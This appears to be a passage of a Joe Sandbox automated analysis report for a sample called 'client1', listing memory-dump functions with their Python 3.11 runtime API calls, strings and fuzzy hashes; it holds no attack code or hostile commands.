Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_Object
String ID: internal error in flags_as_exception
API String ID: 1617383179-882050087
Opcode ID: aa72b05d44a841521da234b747580fd94131bc0fc46fdc4ae2520d83be008423
Instruction ID: 47abd22d942b02c092d39737dd500412b195f759e9878fd9f4573ec7abaa892f
Opcode Fuzzy Hash: aa72b05d44a841521da234b747580fd94131bc0fc46fdc4ae2520d83be008423
Instruction Fuzzy Hash: E1212CA1A0BA02C1EB678F39D85437E26E9AB49F44F0421B6DD0D42764DE2DE45BC721

Function 00007FFBAB4A1DCA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1DCD
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1E5B
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A1E72
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1E83

Strings

<module>, xrefs: 00007FFBAB4A1E94

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 91db4bdcbe56209661502fd67bbc6f2769c22d5eab679d7ef81084a84b245009
Instruction ID: ef50cf56dd0bacdefa39b10bfa9bf029edfda320e6ec6a81b439177d739e9d8a
Opcode Fuzzy Hash: 91db4bdcbe56209661502fd67bbc6f2769c22d5eab679d7ef81084a84b245009
Instruction Fuzzy Hash: 0D21B0E5E0BF4291EA12AF76F8802B823A4BF45B90F44807ADC6D07370DF3CA5658340

Function 00007FFBAB4A1AC6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1AC9
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1B50
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A1B67
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1B78

Strings

<module>, xrefs: 00007FFBAB4A1B89

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 95c1403db506077c69335a7ef06657fa80bb0139eb0d032872015d31a2af1b6c
Instruction ID: 40bf90072aac5f9d9c8132dac153d1c04d1ad6fe2966b3f10c09ddbda9348158
Opcode Fuzzy Hash: 95c1403db506077c69335a7ef06657fa80bb0139eb0d032872015d31a2af1b6c
Instruction Fuzzy Hash: 6A219EF6A0BE1291EA169F76F8946B827A4AF15B90F44C13ACC6D47370EF3CA565C340

Function 00007FFBAB4A1C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1C4B
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1CD2
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A1CE9
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1CFA

Strings

<module>, xrefs: 00007FFBAB4A1D0B

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 3965a657abab878e03acf1ac5dd8a83191bbcc75135b225808ee97793d61faec
Instruction ID: cca4e0799c3f14ef1ad820411d8074e5f7e65c60289da9db61d2de58a8bf4289
Opcode Fuzzy Hash: 3965a657abab878e03acf1ac5dd8a83191bbcc75135b225808ee97793d61faec
Instruction Fuzzy Hash: 13219CE5A0BF1684FA02AF76F8902B923A4BF05B90F48817ADC6D07274DF3CA465D340

Function 00007FFBAA734D58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAA734D84
_PyUnicode_ToNumeric.PYTHON311 ref: 00007FFBAA734DB7
PyErr_SetString.PYTHON311 ref: 00007FFBAA734DDF
PyFloat_FromDouble.PYTHON311 ref: 00007FFBAA734DF1

Strings

not a numeric character, xrefs: 00007FFBAA734DD5

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: DoubleErr_Float_FromNumericStringSubtypeType_Unicode_
String ID: not a numeric character
API String ID: 1034370217-2058156748
Opcode ID: e94a4cbcbf0e5bcd60c879edbbe527308af40d50addda8a0dc073dd71fed3554
Instruction ID: 03cad2260873cf25666961ce4fd7172d6943871b6700e707ac110c81beffe27b
Opcode Fuzzy Hash: e94a4cbcbf0e5bcd60c879edbbe527308af40d50addda8a0dc073dd71fed3554
Instruction Fuzzy Hash: 6411A5A1B1F962D5EA5BAF31E41403B63ADAF44B85F0681B0CF0E06658DF2CE4878230

Function 00007FFBAA707C68 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA707CA1
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA707CDE
PyErr_SetString.PYTHON311 ref: 00007FFBAA707CFB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA715799

Strings

optional argument must be a context, xrefs: 00007FFBAA707CF1

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: String$Arg_DeallocErr_FromKeywordsParseTupleUnicode_
String ID: optional argument must be a context
API String ID: 1452123296-3732962867
Opcode ID: f6cd9f5c3af5eb1d68dd269a83acbfae982e07940d7fa5335d6679faeb9bc316
Instruction ID: 3fd82a3b1c13850adcb028b127bd2d1b631fe5b025bf8371ba36870f5a49b3e9
Opcode Fuzzy Hash: f6cd9f5c3af5eb1d68dd269a83acbfae982e07940d7fa5335d6679faeb9bc316
Instruction Fuzzy Hash: 211164E1A0AA03D0EA028F35E8500BB67ECAF84B95F4000B2DD0E427B4DE6DE14BC360

Function 00007FFBAA734384 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7343B0
_PyUnicode_ToDecimalDigit.PYTHON311 ref: 00007FFBAA7343CF
PyErr_SetString.PYTHON311 ref: 00007FFBAA7343EF
PyLong_FromLong.PYTHON311 ref: 00007FFBAA734403

Strings

not a decimal, xrefs: 00007FFBAA7343E5

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: DecimalDigitErr_FromLongLong_StringSubtypeType_Unicode_
String ID: not a decimal
API String ID: 3750391552-3590249192
Opcode ID: 1cd0ce8ce41aec67d618eaf50ce9a381a57b186b45043069d79b570d0f92dffd
Instruction ID: 4b5ad37267d36307d72b7a8850f9b3def354bd7a650be57425d101dfbb65fa26
Opcode Fuzzy Hash: 1cd0ce8ce41aec67d618eaf50ce9a381a57b186b45043069d79b570d0f92dffd
Instruction Fuzzy Hash: 3F11A7A1B0AA52C1EF1A6F35E41813E63A8AF44B85F4684B4CE4F47650DF2CE8438330

Function 00007FFBAB4A0D7B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0D7E
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0DA7
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0DC0
PyList_New.PYTHON311 ref: 00007FFBAB4A0DEF

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Dict_ItemList_
String ID: <module>
API String ID: 3473312925-217463007
Opcode ID: 636bfd1e1ccb7f652e57f7f366bec5d5727cc02f6528fe760d78231c756f7c15
Instruction ID: f8ef18497f3b2c0a8ffeb4984dc7be0a11b7d3df77b53b15d5ef9d68dd65f546
Opcode Fuzzy Hash: 636bfd1e1ccb7f652e57f7f366bec5d5727cc02f6528fe760d78231c756f7c15
Instruction Fuzzy Hash: 1B11F7E6E0BA1281FA578B77E9902791A64AF55BD5F04C13ACD3E077B0EE2CB4958301

Function 00007FFBAA6F38AC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAA6F38EE
PyMem_Free.PYTHON311 ref: 00007FFBAA6F38FA
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA6F390E
_Py_Dealloc.PYTHON311 ref: 00007FFBAA711715

Strings

Decimal('%s'), xrefs: 00007FFBAA6F38E7

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: ContextDeallocErr_FormatFreeFromMem_MemoryUnicode_Var_
String ID: Decimal('%s')
API String ID: 2420315507-440159776
Opcode ID: 3c3e8f2afc2c8420574c3dba0923bb3508b6b31995b6da3f75ecb808d41e5951
Instruction ID: f5404bfa4f06fe43b3352b67f0643d48f95e61d0cb48394e754e5bf1d4e57797
Opcode Fuzzy Hash: 3c3e8f2afc2c8420574c3dba0923bb3508b6b31995b6da3f75ecb808d41e5951
Instruction Fuzzy Hash: CCF081A0A0F603C1EA1B5F39E85407E66A9AF48F80B482071CD1E073A5EE2CE44B8760

Function 00007FFBAA73441C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734455
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734468

Strings

argument, xrefs: 00007FFBAA734447
a unicode character, xrefs: 00007FFBAA734440
decomposition, xrefs: 00007FFBAA73444E

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_ArgumentReadyUnicode_
String ID: a unicode character$argument$decomposition
API String ID: 1875788646-2471543666
Opcode ID: 8e092fff27016ad70a75c21de804b5fd7f142a4693611c384d04bc395b3b3e7a
Instruction ID: bf31567467bcae324406533f39f3e49a4e93194b3ea7251f7f5afbb862f39c69
Opcode Fuzzy Hash: 8e092fff27016ad70a75c21de804b5fd7f142a4693611c384d04bc395b3b3e7a
Instruction Fuzzy Hash: 0F01A2E0B0A697E5EA5AEF35E44017A2368AF05B94F4511B1DE6E46290DF3CD4978330

Function 00007FFBAA7346E8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734721
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734734

Strings

argument, xrefs: 00007FFBAA734713
a unicode character, xrefs: 00007FFBAA73470C
east_asian_width, xrefs: 00007FFBAA73471A

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_ArgumentReadyUnicode_
String ID: a unicode character$argument$east_asian_width
API String ID: 1875788646-3913127203
Opcode ID: 1cd4da9dc117a34be79d860a1371cb1431d82210e1bfc1e6159635a71f123b29
Instruction ID: 506d62107cdebae755435694e744b0efe80b8467a06391ee3fe934af6f5ca7e8
Opcode Fuzzy Hash: 1cd4da9dc117a34be79d860a1371cb1431d82210e1bfc1e6159635a71f123b29
Instruction Fuzzy Hash: 4D0126E0B0AA47C5EA5AEF31E8441B72368EF06B84F4510B1CE0E06280DF3CE0878330

Function 00007FFBAA732620 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA73262B
PyCapsule_New.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA732668
PyErr_NoMemory.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA733EF6
PyMem_Free.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA733F06

Strings

unicodedata._ucnhash_CAPI, xrefs: 00007FFBAA73265D

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Mem_$Capsule_Err_FreeMallocMemory
String ID: unicodedata._ucnhash_CAPI
API String ID: 3673501854-3989975041
Opcode ID: 9c8937bca7593cf83dc6e6686b6a5b89807f230b44c95862bfa962c91a770e15
Instruction ID: 7b828c5245223a57c2c0424083bb7dcff172cb00f5949faab49e71464004ea4b
Opcode Fuzzy Hash: 9c8937bca7593cf83dc6e6686b6a5b89807f230b44c95862bfa962c91a770e15
Instruction Fuzzy Hash: 01F0F6A0B0BB43D6EA12AF25E81417A63ACBF18B84B4610B5CD4E06754EF2CE4468370

Function 00007FFBAB4A1A5B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A1A5B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1A74
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1A8E

Strings

x, xrefs: 00007FFBAB4A1AA2
<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>$x
API String ID: 4228545439-1318447075
Opcode ID: fd32d0dcf243e6a103357d3eecc08cffb1178327e1ffa54b9ecb0fce546568fc
Instruction ID: 106bd933cbb8997b1ed16ed3e13d6de9026b52029ff9ecff94ca231a83bef512
Opcode Fuzzy Hash: fd32d0dcf243e6a103357d3eecc08cffb1178327e1ffa54b9ecb0fce546568fc
Instruction Fuzzy Hash: 63F03AE6E0BA0381FA135B76E8443785262AF41BA5F04C13DDD3D072B0EE3DA586A300

Function 00007FFBAB4A1D5F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A1D5F
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1D78
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1D92

Strings

<module>, xrefs: 00007FFBAB4A2826
t, xrefs: 00007FFBAB4A1DA6

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>$t
API String ID: 4228545439-2084846924
Opcode ID: a5e764b775898502673028de2063cceef28fcfa4bb572bce9f2f1c4761633420
Instruction ID: a1360611d0392cdc2b00a83fb5bea55752a941344025b6786022390caa8a80cd
Opcode Fuzzy Hash: a5e764b775898502673028de2063cceef28fcfa4bb572bce9f2f1c4761633420
Instruction Fuzzy Hash: 97F017E6A4BA0241FA235B76E84037852616F41BA5F04C13DCD3D072B4EE3CB4866301

Function 00007FF79F6388E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF79F638905
GetProcAddress.KERNEL32 ref: 00007FF79F63891B
FreeLibrary.KERNEL32 ref: 00007FF79F638942

Strings

CorExitProcess, xrefs: 00007FF79F638914
mscoree.dll, xrefs: 00007FF79F6388FC

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction ID: 46445f8685af585de1a2bd3e6bf8cc80228188c3258e4f9d9d5d6f64c18f88db
Opcode Fuzzy Hash: 611779d08fafb8db9f6fab045cd04065641a8af0ffd245d6ff06f44facfa83ea
Instruction Fuzzy Hash: 10F0AF71A0978291EA30BB34A8843B9932AAF897B5FC40235C57D466E4CF6CD448C320

Function 00007FFBAA6FFFB0 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

PyContextVar_Get.PYTHON311 ref: 00007FFBAA6FFFE9
PyBool_FromLong.PYTHON311 ref: 00007FFBAA7000BD
_Py_Dealloc.PYTHON311 ref: 00007FFBAA714419

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Bool_ContextDeallocFromLongVar_
String ID:
API String ID: 2775757836-0
